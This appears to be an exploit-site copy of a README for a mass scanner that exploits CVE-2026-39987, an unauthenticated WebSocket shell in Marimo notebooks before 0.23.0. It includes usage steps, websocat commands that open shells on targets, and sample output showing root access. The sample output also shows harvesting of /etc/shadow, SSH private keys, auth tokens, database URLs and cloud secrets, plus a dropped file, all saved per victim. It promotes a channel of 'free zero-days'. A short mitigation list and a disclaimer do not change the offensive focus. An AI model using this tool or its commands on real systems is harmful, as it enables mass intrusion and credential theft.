Share
## https://sploitus.com/exploit?id=BDEBC7BC-574F-53BD-A9D7-7CD41789525A
# CVE-2026-39987
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability



```
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   
```

# CVE-2026-39987
### Marimo `/terminal/ws` โ€” Unauthenticated WebSocket Pre-Auth RCE
### Mass Scanner ยท Full Enumeration ยท Smart Detection



![Python](https://img.shields.io/badge/Python-3.10%2B-brightgreen?style=for-the-badge&logo=python&logoColor=white)
![CVE](https://img.shields.io/badge/CVE-2026--39987-red?style=for-the-badge)
![Severity](https://img.shields.io/badge/Severity-CRITICAL-red?style=for-the-badge)
![Type](https://img.shields.io/badge/Type-Pre--Auth%20RCE-orange?style=for-the-badge)
![Platform](https://img.shields.io/badge/Platform-Linux%20%7C%20macOS-blue?style=for-the-badge)
![License](https://img.shields.io/badge/License-Educational-yellow?style=for-the-badge)



**Author:** [Nxploited](https://github.com/Nxploited)  ยท  **Telegram:** [@KNxploited](https://t.me/KNxploited)



---

> ### ๐Ÿ“ข Join the Telegram channel for the latest free zero-days & exploits:
> ## ๐Ÿ”— [Nxploited ZeroDay Hub โ€” t.me/KNxploited](https://t.me/KNxploited)

---

## ๐Ÿ“– Overview

**CVE-2026-39987** is a **critical Pre-Authentication Remote Code Execution** vulnerability affecting **Marimo**, an open-source reactive Python notebook platform.

The terminal WebSocket endpoint `/terminal/ws` completely lacks authentication validation, allowing any **unauthenticated remote attacker** to obtain a **full PTY shell** and execute arbitrary system commands with the privileges of the running process โ€” often `root` inside containerized deployments.

Unlike other WebSocket endpoints such as `/ws`, which correctly invoke `validate_auth()` before accepting connections, the `/terminal/ws` endpoint only verifies the running mode and platform compatibility, **entirely skipping authentication**.

> โœ… **Patched in:** `marimo >= 0.23.0`
> โŒ **All versions prior to `0.23.0` are vulnerable**

---

## ๐Ÿ” Vulnerability Details

| Property | Value |
|---|---|
| **CVE ID** | CVE-2026-39987 |
| **Affected Software** | marimo  Supported formats: bare IP ยท IP:port ยท domain ยท domain:port ยท `http://` ยท `https://` ยท `ws://` ยท `wss://`

---

### Step 2 โ€” Launch the scanner

```bash
python3 CVE-2026-39987.py
```

---

### Step 3 โ€” Interactive configuration

```
  โ–ธ Targets file  (default: targets.txt) : targets.txt
  โ–ธ Threads       (default: 50)          : 100
```

> Thread range: 1โ€“300. Recommended: 50โ€“150 depending on your network.

---

## ๐Ÿ–ฅ๏ธ Output Preview

### Terminal UI

```
  โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
  โ”‚ CVE-2026-39987  ยท  Marimo WebSocket RCE                  โ”‚
  โ”‚ MASS SCANNER  ยท  FULL ENUM  ยท  SMART DETECT              โ”‚
  โ”‚ By: Nxploited  ยท  github.com/Nxploited  ยท  @KNxploited   โ”‚
  โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• ws://192.168.1.100:2718/terminal/ws โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

  โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
  โ”‚  โ—ˆโ—ˆโ—ˆ  ROOT ACCESS  โ—ˆโ—ˆโ—ˆ                โ”‚
  โ”‚  ws://192.168.1.100:2718               โ”‚
  โ”‚  uid โ–ธ  uid=0(root)  groups=[root]     โ”‚
  โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

  โ”€โ”€  ENVIRONMENT  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  Type                  MARIMO
    โ—ˆ  Docker                True
    โ—ˆ  Marimo version        0.22.1
    โ—ˆ  Notebook directory    /app/notebooks

  โ”€โ”€  MARIMO โ€” NOTEBOOKS  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  Notebooks             7 found
       ยท                     /app/notebooks/analysis.py
       ยท                     /app/notebooks/data_pipeline.py
       ยท                     /app/notebooks/etl_job.py

  โ”€โ”€  MARIMO โ€” TOKENS  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  Token CLI             secret-token-abc123xyz
    โœฆ  .marimo.toml          /root/.marimo.toml

  โ”€โ”€  /etc  SENSITIVE  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  /etc/shadow           READABLE  [42 entries]
    โ—ˆ  /etc/passwd           [42 lines]
    โ—ˆ  /etc/crontab          [12 lines]

  โ”€โ”€  SSH KEYS  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  /root/.ssh/id_rsa     FOUND
    โœฆ  /root/.ssh/id_ed25519 FOUND

  โ”€โ”€  DATABASES  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  MySQL                 DATABASES LISTED
    โœฆ  Redis                 PONG โ€” NO AUTH
    โœฆ  DuckDB files          /app/notebooks/data.duckdb

  โ”€โ”€  SENSITIVE ENV VARS  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    โœฆ  AWS_SECRET_ACCESS_KEY redacted...

  โ”€โ”€  NX FILE DROP  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€๏ฟฝ๏ฟฝโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โœฆ  Shell write           /app/notebooks/Nx.py
    โœฆ  HTTP access           http://192.168.1.100:2718/Nx.py

  โ”€โ”€  COMPLETE  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
    โ—ˆ  Saved to              nx_output/192.168.1.100_2718/

  โ—ฆ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s
```

---

### Live Progress

```
  โ—ฆ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s
```

---

## ๐Ÿ“ Output Structure

```
nx_output/
โ”‚
โ”œโ”€โ”€ summary.txt                    โ† Master summary of all targets
โ”œโ”€โ”€ curls.txt                      โ† websocat one-liners for all shells
โ”œโ”€โ”€ Nx.txt                         โ† HTTP-confirmed file drops
โ”‚
โ””โ”€โ”€ 192.168.1.100_2718/            โ† Per-target directory
    โ”œโ”€โ”€ summary.txt                โ† Target summary & connect command
    โ”œโ”€โ”€ identity.txt               โ† id ยท whoami ยท uname ยท hostname ยท shell
    โ”œโ”€โ”€ users.txt                  โ† /etc/passwd ยท shadow ยท sudoers ยท last
    โ”œโ”€โ”€ ssh_keys.txt               โ† Discovered SSH private keys & auth keys
    โ”œโ”€โ”€ etc_data.txt               โ† /etc/hosts ยท resolv.conf ยท crontab ยท env
    โ”œโ”€โ”€ env_sensitive.txt          โ† Filtered sensitive environment variables
    โ”œโ”€โ”€ databases.txt              โ† MySQL ยท Redis ยท PostgreSQL ยท config files
    โ”œโ”€โ”€ app_configs.txt            โ† .env ยท wp-config.php ยท settings.py ยท etc
    โ”œโ”€โ”€ notebooks.txt              โ† Full content of all Marimo notebooks
    โ”œโ”€โ”€ marimo_toml.txt            โ† .marimo.toml configuration files
    โ”œโ”€โ”€ marimo_tokens.txt          โ† All extracted Marimo auth tokens
    โ”œโ”€โ”€ dotenv.txt                 โ† .env / .env.local / .env.production
    โ”œโ”€โ”€ databases_marimo.txt       โ† DuckDB ยท SQLite ยท DB URLs from notebooks
    โ”œโ”€โ”€ webserver_configs.txt      โ† Apache/Nginx VirtualHosts & configs
    โ”œโ”€โ”€ network.txt                โ† Interfaces ยท routes ยท open ports ยท iptables
    โ”œโ”€โ”€ processes.txt              โ† ps aux ยท crontab ยท cron.d ยท systemd units
    โ”œโ”€โ”€ logs.txt                   โ† auth.log ยท syslog ยท access.log ยท error.log
    โ”œโ”€โ”€ nx_file.txt                โ† Nx drop path ยท web root ยท HTTP URL
    โ””โ”€โ”€ software.txt               โ† PHP ยท Python ยท Node.js versions
```

---

## ๐Ÿ“Š Access Levels

| Icon | Level | Description |
|---|---|---|
| `โœฆโœฆโœฆ` ๐ŸŸข | **ROOT** | `uid=0` โ€” Full root access |
| `โœฆโœฆ` ๐ŸŸก | **PRIV** | Member of `sudo` ยท `wheel` ยท `docker` ยท `disk` ยท `adm` |
| `โœฆ` ๐Ÿ”ต | **SHELL** | Unprivileged shell access |
| `โœ—` ๐Ÿ”ด | **FAIL** | Connection refused ยท timeout ยท HTTP error |

---

## ๐ŸŒ Supported Environments

| Environment | Auto-Detected | Specialized Collection |
|---|---|---|
| ๐ŸŸฃ **Marimo** | โœ… | Notebooks ยท Tokens ยท DuckDB ยท `.marimo.toml` ยท mounts |
| ๐Ÿ”ต **cPanel / WHM** | โœ… | `userdomains` ยท MySQL password ยท WHM user list |
| ๐ŸŸ  **Plesk** | โœ… | `psa.shadow` ยท vhosts ยท MySQL admin credentials |
| ๐ŸŒ **Apache** | โœ… | VirtualHosts ยท `sites-enabled` ยท access/error logs |
| ๐ŸŸข **Nginx** | โœ… | Server blocks ยท `conf.d` ยท access/error logs |
| ๐Ÿ **Python App** | โœ… | `.env` ยท `settings.py` ยท `config.py` ยท Pipfile |
| ๐ŸŸก **Node.js** | โœ… | `.env` ยท `package.json` ยท public directory |
| ๐Ÿณ **Docker** | โœ… | Bind mounts ยท container-local storage detection |
| โš™๏ธ **Generic** | โœ… | Full enumeration suite on unknown environments |

---

## ๐Ÿ”Œ Manual Connection

Once a vulnerable target is identified, connect manually using `websocat`:

```bash
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
```

> The `Authorization` header value is irrelevant โ€” the endpoint accepts any or no token.

---

## ๐Ÿ›ก๏ธ Mitigation

If you are running Marimo in a production or exposed environment:

1. **Upgrade immediately** to `marimo >= 0.23.0`
2. Place Marimo behind an authenticated reverse proxy (Nginx + BasicAuth / OAuth2 proxy)
3. Bind Marimo only to `127.0.0.1` โ€” never expose it directly to the internet
4. Use firewall rules to restrict `/terminal/ws` access
5. Audit your deployment for exposed instances

---

## โš ๏ธ Disclaimer

> **This tool is provided strictly for educational purposes, authorized penetration testing, and legitimate security research.**

You **must** have explicit written permission from the system owner before running this tool against any target. Unauthorized use against systems you do not own or have permission to test is **illegal** and may result in civil and/or criminal prosecution under applicable computer crime laws, including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, EU cybercrime directives, and equivalent legislation in your jurisdiction.

The author accepts **no liability** for any damage, data loss, or legal consequences arising from misuse of this tool.

**Use responsibly. Hack ethically.**

---

## ๐Ÿ‘ค Author



| | |
|---|---|
| **Handle** | Nxploited |
| **GitHub** | [github.com/Nxploited](https://github.com/Nxploited) |
| **Telegram** | [@KNxploited](https://t.me/KNxploited) |
| **Channel** | [Nxploited ZeroDay Hub](https://t.me/KNxploited) |



---

> *"The quieter you become, the more you are able to hear."*



โญ **If this tool was useful, drop a star and join the channel for more zero-days!** โญ

### ๐Ÿ”— [t.me/KNxploited](https://t.me/KNxploited)